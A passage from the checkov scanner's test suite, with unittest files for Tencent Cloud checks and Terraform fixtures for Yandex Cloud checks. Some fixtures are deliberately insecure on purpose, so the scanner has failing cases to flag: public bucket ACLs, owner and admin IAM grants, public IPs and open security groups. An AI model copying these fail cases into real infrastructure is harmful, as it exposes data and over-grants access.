self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CVMUserData.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CVMUserData import check from checkov.terraform.runner import Runner class TestCVMUserData(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CVMUserData" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_instance.positive1", "tencentcloud_instance.positive2", "tencentcloud_instance.positive3", } failing_resources = { "tencentcloud_instance.negative1", "tencentcloud_instance.negative2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_TKELogAgentEnable.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.TKELogAgentEnabled import \ check from checkov.terraform.runner import Runner class TestTKELogAgentEnable(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_TKELogAgentEnable" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_kubernetes_cluster.positive", } failing_resources = { "tencentcloud_kubernetes_cluster.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_TKEPublicIpAssigned.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.TKEPublicIpAssigned import \ check from checkov.terraform.runner import Runner class TestTKEPublicIpAssigned(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_TKEPublicIpAssigned" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_kubernetes_cluster.positive1", "tencentcloud_kubernetes_cluster.positive2", } failing_resources = { "tencentcloud_kubernetes_cluster.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_VPCFlowLogConfigEnable.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.VPCFlowLogConfigEnable import \ check from checkov.terraform.runner import Runner class VPCFlowLogConfigEnable(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_VPCFlowLogConfigEnable" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_vpc_flow_log_config.positive", } failing_resources = { "tencentcloud_vpc_flow_log_config.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_VPCSecurityGroupRuleSet.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.VPCSecurityGroupRuleSet import \ check from checkov.terraform.runner import Runner class VPCSecurityGroupRuleSet(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_VPCSecurityGroupRuleSet" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_security_group_rule_set.positive", } failing_resources = { "tencentcloud_security_group_rule_set.negative1", "tencentcloud_security_group_rule_set.negative2", "tencentcloud_security_group_rule_set.negative3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/test_base_resource_check.py ================================================ import pytest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.checks.resource.registry import resource_registry as registry class TestStaticCheck(BaseResourceCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Test something" id = "CKV_TEST_1" supported_resources = ["ckv_test"] categories = [CheckCategories.CONVENTION] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-resource-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def scan_resource_conf(self, conf): if "check_result" in conf.keys(): check_result = conf["check_result"][0] if check_result: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN @pytest.fixture(scope="module", autouse=True) def remove_check(): yield del registry.checks["ckv_test"] @pytest.mark.parametrize( "conf,expected", [ ({"check_result": [True]}, CheckResult.PASSED), ({"check_result": [False]}, CheckResult.FAILED), ({"foo": ["bar"]}, CheckResult.UNKNOWN), ({"count": [0], "check_result": [True]}, CheckResult.UNKNOWN), ({"count": [1], "check_result": [True]}, CheckResult.PASSED), ], ids=["pass", "fail", "unknown", "count_zero", "count_one"], ) def test_scan_entity_conf(conf, expected): result = TestStaticCheck().scan_entity_conf(conf, "ckv_test") assert result == expected ================================================ FILE: tests/terraform/checks/resource/test_base_resource_dynamic_value_check.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.terraform.checks.resource.registry import resource_registry class TestDynamicCheck(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestDynamicCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-dynamic-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "dynamic_block_name/[0]/foo" def get_expected_value(self): return "bar" class TestNestedDynamicCheck(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestNestedDynamicCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-nested-dynamic-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "outside/dynamic_block_name/[0]/foo" def get_expected_value(self): return "bar" class TestNestedMultipleDynamicCheckBlock1(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestNestedMultipleDynamicCheckBlock1" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-nested-multiple-dynamic-check-block-1" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "outside/dynamic_block_name/[0]/dynamic_block_1/[0]/key" def get_expected_value(self): return 1 class TestNestedMultipleDynamicCheckBlock2(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestNestedMultipleDynamicCheckBlock2" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-nested-multiple-dynamic-check-block-2" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "outside/dynamic_block_name/[0]/dynamic_block_2/[0]/key" def get_expected_value(self): return "2" class Test(unittest.TestCase): def test_dynamic(self): data = { "dynamic": [{ "dynamic_block_name": { "content": { "foo": "bar" } } }] } result = self._check(TestDynamicCheck(),data) self.assertEqual(result, CheckResult.PASSED) def test_dynamic_nested(self): data = { "outside": { "dynamic": [{ "dynamic_block_name": { "content": { "foo": "bar" } } }] } } result = self._check(TestNestedDynamicCheck(), data) self.assertEqual(result, CheckResult.PASSED) def multipleDynamicBlockData(self): return { "outside": { "dynamic": [{ "dynamic_block_name": { "content": { "dynamic": [{ "dynamic_block_1": { "content": { "key": 1 } }, "dynamic_block_2": { "content": { "key": "2" } } }] } } }] } } def test_nested_multiple_dynamic_block_1(self): result = self._check(TestNestedMultipleDynamicCheckBlock1(), self.multipleDynamicBlockData()) self.assertEqual(result, CheckResult.PASSED) def test_nested_multiple_dynamic_block_2(self): result = self._check(TestNestedMultipleDynamicCheckBlock2(), self.multipleDynamicBlockData()) self.assertEqual(result, CheckResult.PASSED) @staticmethod def _check(check, data): return check.scan_resource_conf(data) # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged # globally by our changes. def setUp(self) -> None: self.check_list_before = resource_registry.checks.copy() # copy super().setUp() def tearDown(self) -> None: super().tearDown() resource_registry.checks = self.check_list_before self.check_list_before = None ================================================ FILE: tests/terraform/checks/resource/test_base_resource_negative_value_check.py ================================================ import unittest from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.terraform.checks.resource.registry import resource_registry class TestAnyCheck(BaseResourceNegativeValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestAnyNegativeCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-any-negative-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "foo" def get_forbidden_values(self): return [ANY_VALUE] class TestStaticCheck(BaseResourceNegativeValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestStaticNegativeCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-static-negative-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "foo" def get_forbidden_values(self): return ["not-foo", "not-bar"] class Test(unittest.TestCase): def test_string_match_any(self): result = self._check(TestAnyCheck(), {"foo": "bar"}) self.assertEqual(result, CheckResult.FAILED) def test_string_match_static(self): result = self._check(TestStaticCheck(), {"foo": "bar"}) self.assertEqual(result, CheckResult.PASSED) def test_string_mismatch_static(self): result = self._check(TestStaticCheck(), {"foo": "not-bar"}) self.assertEqual(result, CheckResult.FAILED) def test_string_contains_var_any(self): result = self._check(TestAnyCheck(), {"foo": "something-${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_string_contains_var_static(self): result = self._check(TestStaticCheck(), {"foo": "something-${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_var_any(self): result = self._check(TestAnyCheck(), {"foo": "${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_var_static(self): result = self._check(TestStaticCheck(), {"foo": "${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_local_any(self): result = self._check(TestAnyCheck(), {"foo": "${local.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_local_static(self): result = self._check(TestStaticCheck(), {"foo": "${local.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_resource_any(self): result = self._check(TestAnyCheck(), {"foo": "${aws_s3_bucket.foo.bucket}"}) self.assertEqual(result, CheckResult.FAILED) def test_resource_static(self): result = self._check(TestStaticCheck(), {"foo": "${aws_s3_bucket.foo.bucket}"}) self.assertEqual(result, CheckResult.PASSED) @staticmethod def _check(check, data): return check.scan_resource_conf(data) # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged # globally by our changes. def setUp(self) -> None: self.check_list_before = resource_registry.checks.copy() # copy super().setUp() def tearDown(self) -> None: super().tearDown() resource_registry.checks = self.check_list_before self.check_list_before = None ================================================ FILE: tests/terraform/checks/resource/test_base_resource_value_check.py ================================================ import unittest from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.terraform.checks.resource.registry import resource_registry class TestAnyCheck(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestAnyCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-any-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "foo" def get_expected_value(self): return ANY_VALUE class TestStaticCheck(BaseResourceValueCheck): # for pytest not to collect this class as tests __test__ = False def __init__(self): name = "Ensure it ain't broke" id = "test/TestStaticCheck" categories = [] supported_resources = ["doesnt_matter"] guideline = "https://docs.prismacloud.io/policy-reference/test-policies/test-static-check" super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) def get_inspected_key(self): return "foo" def get_expected_value(self): return "bar" class Test(unittest.TestCase): def test_string_match_any(self): result = self._check(TestAnyCheck(), {"foo": "bar"}) self.assertEqual(result, CheckResult.PASSED) def test_string_match_static(self): result = self._check(TestStaticCheck(), {"foo": "bar"}) self.assertEqual(result, CheckResult.PASSED) def test_string_mismatch_static(self): result = self._check(TestStaticCheck(), {"foo": "definitely not bar"}) self.assertEqual(result, CheckResult.FAILED) def test_string_contains_var_any(self): result = self._check(TestAnyCheck(), {"foo": "something-${var.whatever}"}) self.assertEqual(result, CheckResult.PASSED) def test_string_contains_var_static(self): result = self._check(TestStaticCheck(), {"foo": "something-${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_var_any(self): result = self._check(TestAnyCheck(), {"foo": "${var.whatever}"}) self.assertEqual(result, CheckResult.PASSED) def test_var_static(self): result = self._check(TestStaticCheck(), {"foo": "${var.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_local_any(self): result = self._check(TestAnyCheck(), {"foo": "${local.whatever}"}) self.assertEqual(result, CheckResult.PASSED) def test_local_static(self): result = self._check(TestStaticCheck(), {"foo": "${local.whatever}"}) self.assertEqual(result, CheckResult.UNKNOWN) def test_resource_any(self): result = self._check(TestAnyCheck(), {"foo": "${aws_s3_bucket.foo.bucket}"}) self.assertEqual(result, CheckResult.PASSED) def test_resource_static(self): result = self._check(TestStaticCheck(), {"foo": "${aws_s3_bucket.foo.bucket}"}) self.assertEqual(result, CheckResult.UNKNOWN) @staticmethod def _check(check, data): return check.scan_resource_conf(data) # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged # globally by our changes. def setUp(self) -> None: self.check_list_before = resource_registry.checks.copy() # copy super().setUp() def tearDown(self) -> None: super().tearDown() resource_registry.checks = self.check_list_before self.check_list_before = None ================================================ FILE: tests/terraform/checks/resource/yandexcloud/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ComputeInstanceGroupPublicIP/main.tf ================================================ # default resource "yandex_compute_instance_group" "default" { name = "test-ig" instance_template { platform_id = "standard-v1" network_interface { } } } # private resource "yandex_compute_instance_group" "private" { name = "test-ig" instance_template { platform_id = "standard-v1" network_interface { nat = false } } } # public resource "yandex_compute_instance_group" "public" { name = "test-ig" instance_template { platform_id = "standard-v1" network_interface { nat = true } } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ComputeInstanceGroupSecurityGroup/main.tf ================================================ # pass resource "yandex_compute_instance_group" "pass" { name = "test-ig" instance_template { platform_id = "standard-v1" network_interface { security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } } } # fail resource "yandex_compute_instance_group" "fail" { name = "test-ig" instance_template { platform_id = "standard-v1" network_interface { } } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ComputeVMPublicIP/main.tf ================================================ # pass # EC2 instance resource "yandex_compute_instance" "default" { } resource "yandex_compute_instance" "private" { network_interface { nat = false } } # fail # EC2 instance resource "yandex_compute_instance" "public" { network_interface { nat = true } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ComputeVMSecurityGroup/main.tf ================================================ # pass resource "yandex_compute_instance" "pass" { name = "test-vm" network_interface { security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } } # fail resource "yandex_compute_instance" "fail" { name = "test-vm" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ComputeVMSerialConsole/main.tf ================================================ # default resource "yandex_compute_instance" "default" { name = "test-vm" platform-id = "standard-v3" zone = "ru-central1-a" } # pass resource "yandex_compute_instance" "pass" { name = "test-vm" platform-id = "standard-v3" zone = "ru-central1-a" metadata = { serial-port-enable = 0 } } # fail resource "yandex_compute_instance" "fail" { name = "test-vm" platform-id = "standard-v3" zone = "ru-central1-a" metadata = { serial-port-enable = 1 } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_IAMCloudElevatedMembers/main.tf ================================================ # pass resource "yandex_resourcemanager_cloud_iam_member" "pass-1" { role = "viewer" member = "userAccount:user_id" } resource "yandex_resourcemanager_cloud_iam_member" "pass-2" { role = "alb.admin" member = "userAccount:user_id" } resource "yandex_resourcemanager_cloud_iam_binding" "pass-3" { role = "viewer" members = [ "userAccount:some_user_id", ] } # fail resource "yandex_resourcemanager_cloud_iam_member" "fail-1" { role = "editor" member = "userAccount:user_id" } resource "yandex_resourcemanager_cloud_iam_binding" "fail-2" { role = "editor" members = [ "userAccount:some_user_id", ] } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_IAMFolderElevatedMembers/main.tf ================================================ # pass resource "yandex_resourcemanager_folder_iam_binding" "pass-1" { role = "alb.viewer" members = [ "userAccount:some_user_id", ] } resource "yandex_resourcemanager_folder_iam_member" "pass-2" { role = "k8s.admin" member = "userAccount:user_id" } # fail resource "yandex_resourcemanager_folder_iam_binding" "fail-1" { role = "admin" members = [ "userAccount:some_user_id", ] } resource "yandex_resourcemanager_folder_iam_member" "fail-2" { role = "editor" member = "userAccount:user_id" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_IAMOrganizationElevatedMembers/main.tf ================================================ # pass resource "yandex_organizationmanager_organization_iam_binding" "pass-1" { organization_id = "some_organization_id" role = "viewer" members = [ "userAccount:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_member" "pass-2" { organization_id = "some_organization_id" role = "viewer" member = "userAccount:user_id" } # fail resource "yandex_organizationmanager_organization_iam_binding" "fail-1" { organization_id = "some_organization_id" role = "organization-manager.organizations.owner" members = [ "userAccount:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_binding" "fail-2" { organization_id = "some_organization_id" role = "editor" members = [ "userAccount:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_binding" "fail-3" { organization_id = "some_organization_id" role = "admin" members = [ "userAccount:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_member" "fail-4" { organization_id = "some_organization_id" role = "editor" member = "userAccount:user_id" } resource "yandex_organizationmanager_organization_iam_member" "fail-5" { organization_id = "some_organization_id" role = "admin" member = "userAccount:user_id" } resource "yandex_organizationmanager_organization_iam_member" "fail-6" { organization_id = "some_organization_id" role = "organization-manager.organizations.owner" member = "userAccount:user_id" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_IAMPassportAccountUsage/main.tf ================================================ # pass resource "yandex_resourcemanager_folder_iam_binding" "pass" { role = "alb.viewer" members = [ "serviceAccount:some_user_id1", "serviceAccount:some_user_id2", "serviceAccount:some_user_id3", "serviceAccount:some_user_id4", ] } resource "yandex_resourcemanager_folder_iam_member" "pass" { role = "k8s.admin" member = "serviceAccount:user_id" } resource "yandex_resourcemanager_cloud_iam_binding" "pass" { role = "editor" members = [ "serviceAccount:some_user_id", ] } resource "yandex_resourcemanager_cloud_iam_member" "pass" { role = "alb.admin" member = "federatedUser:user_id" } resource "yandex_organizationmanager_organization_iam_binding" "pass" { role = "viewer" members = [ "federatedUser:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_member" "pass" { role = "editor" member = "federatedUser:user_id" } # fail resource "yandex_resourcemanager_folder_iam_binding" "fail" { role = "alb.viewer" members = [ "userAccount:some_user_id", "serviceAccount:some_user_id", ] } resource "yandex_resourcemanager_folder_iam_member" "fail" { role = "k8s.admin" member = "userAccount:user_id" } resource "yandex_resourcemanager_cloud_iam_binding" "fail" { role = "editor" members = [ "userAccount:some_user_id", "serviceAccount:some_user_id", ] } resource "yandex_resourcemanager_cloud_iam_member" "fail" { role = "alb.admin" member = "userAccount:user_id" } resource "yandex_organizationmanager_organization_iam_binding" "fail" { role = "viewer" members = [ "userAccount:some_user_id", ] } resource "yandex_organizationmanager_organization_iam_member" "fail" { role = "editor" member = "userAccount:user_id" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SAutoUpgrade/main.tf ================================================ # pass resource "yandex_kubernetes_cluster" "pass" { name = "test-cluster" master { maintenance_policy { auto_upgrade = true } } } # fail resource "yandex_kubernetes_cluster" "fail" { name = "test-cluster" master { maintenance_policy { auto_upgrade = false } } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SEtcdKMSEncryption/main.tf ================================================ # pass resource "yandex_kubernetes_cluster" "pass" { name = "test-cluster" kms_provider { key_id = "${yandex_kms_symmetric_key.kms_key_resource_name.id}" } } # fail resource "yandex_kubernetes_cluster" "fail" { name = "test-cluster" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SNetworkPolicy/main.tf ================================================ # pass resource "yandex_kubernetes_cluster" "pass" { name = "test-cluster" network_policy_provider = "CALICO" } # fail resource "yandex_kubernetes_cluster" "fail" { name = "test-cluster" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupAutoUpgrade/main.tf ================================================ # pass resource "yandex_kubernetes_node_group" "pass" { name = "test-nodegroup" maintenance_policy { auto_upgrade = true } } # fail resource "yandex_kubernetes_node_group" "fail" { name = "test-nodegroup" maintenance_policy { auto_upgrade = false } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupPublicIP/main.tf ================================================ # private resource "yandex_kubernetes_node_group" "private" { name = "test-nodegroup" instance_template { network_interface { nat = false } } } # default resource "yandex_kubernetes_node_group" "default" { name = "test-nodegroup" instance_template { network_interface { } } } # public resource "yandex_kubernetes_node_group" "public" { name = "test-nodegroup" instance_template { network_interface { nat = true } } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupSecurityGroup/main.tf ================================================ # pass resource "yandex_kubernetes_node_group" "pass" { name = "test-cluster" instance_template { network_interface { security_group_ids = [yandex_vpc_security_group.sg-ssh.id] } } } # fail resource "yandex_kubernetes_node_group" "fail" { name = "test-cluster" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SPublicIP/main.tf ================================================ # private resource "yandex_kubernetes_cluster" "private" { name = "test-cluster" master { public_ip = false } } # default resource "yandex_kubernetes_cluster" "default" { name = "test-cluster" } # public resource "yandex_kubernetes_cluster" "public" { name = "test-cluster" master { public_ip = true } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_K8SSecurityGroup/main.tf ================================================ # pass resource "yandex_kubernetes_cluster" "pass" { name = "test-cluster" master { security_group_ids = [ yandex_vpc_security_group.kube-sg-ssh.id ] } } # fail resource "yandex_kubernetes_cluster" "fail" { name = "test-cluster" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_KMSSymmetricKeyRotation/main.tf ================================================ # pass resource "yandex_kms_symmetric_key" "pass" { name = "example-symmetric-key" description = "description for key" default_algorithm = "AES_128" rotation_period = "8760h" } # fail resource "yandex_kms_symmetric_key" "fail" { name = "example-symmetric-key" description = "description for key" default_algorithm = "AES_128" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_MDBPublicIP/main.tf ================================================ # pass resource "yandex_mdb_postgresql_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } resource "yandex_mdb_sqlserver_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } resource "yandex_mdb_mysql_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } resource "yandex_mdb_mongodb_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } resource "yandex_mdb_kafka_cluster" "pass" { name = "test-mdb" config { assign_public_ip = false } } resource "yandex_mdb_greenplum_cluster" "pass" { name = "test-mdb" assign_public_ip = false } resource "yandex_mdb_elasticsearch_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } resource "yandex_mdb_clickhouse_cluster" "pass" { name = "test-mdb" host { assign_public_ip = false } } # fail resource "yandex_mdb_postgresql_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } resource "yandex_mdb_sqlserver_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } resource "yandex_mdb_mysql_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } resource "yandex_mdb_mongodb_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } resource "yandex_mdb_kafka_cluster" "fail" { name = "test-mdb" config { assign_public_ip = true } } resource "yandex_mdb_greenplum_cluster" "fail" { name = "test-mdb" assign_public_ip = true } resource "yandex_mdb_elasticsearch_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } resource "yandex_mdb_clickhouse_cluster" "fail" { name = "test-mdb" host { assign_public_ip = true } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_MDBSecurityGroup/main.tf ================================================ # pass resource "yandex_mdb_postgresql_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_sqlserver_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_redis_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_mysql_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_mongodb_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_kafka_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_greenplum_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_elasticsearch_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } resource "yandex_mdb_clickhouse_cluster" "pass" { name = "test-mdb" security_group_ids = [yandex_vpc_security_group.ssh-broker.id] } # fail resource "yandex_mdb_postgresql_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_sqlserver_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_redis_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_mysql_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_mongodb_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_kafka_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_greenplum_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_elasticsearch_cluster" "fail" { name = "test-mdb" } resource "yandex_mdb_clickhouse_cluster" "fail" { name = "test-mdb" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ObjectStorageBucketEncryption/main.tf ================================================ # pass resource "yandex_storage_bucket" "pass" { bucket = "mybucket" server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "dsdasd1213123" sse_algorithm = "aws:kms" } } } } # fail resource "yandex_storage_bucket" "fail" { bucket = "mybucket" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_ObjectStorageBucketPublicAccess/main.tf ================================================ # pass resource "yandex_storage_bucket" "pass" { bucket = "test-bucket" acl = "private" } # fail resource "yandex_storage_bucket" "fail-1" { bucket = "test-bucket" acl = "public-read" } resource "yandex_storage_bucket" "fail-2" { bucket = "test-bucket" acl = "public-read-write" } resource "yandex_storage_bucket" "fail-3" { bucket = "test-bucket" grant { type = "Group" permissions = ["READ", "WRITE"] uri = "http://acs.amazonaws.com/groups/global/AllUsers" } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_VPCSecurityGroupAllowAll/main.tf ================================================ # pass resource "yandex_vpc_security_group" "pass-1" { name = "My security group" ingress { v4_cidr_blocks = ["10.0.1.0/24", "10.0.2.0/24"] port = 8080 } } resource "yandex_vpc_security_group" "pass-2" { name = "My security group" ingress { v4_cidr_blocks = ["0.0.0.0/0"] port = 22 } } # fail resource "yandex_vpc_security_group" "fail-1" { name = "My security group" ingress { v4_cidr_blocks = 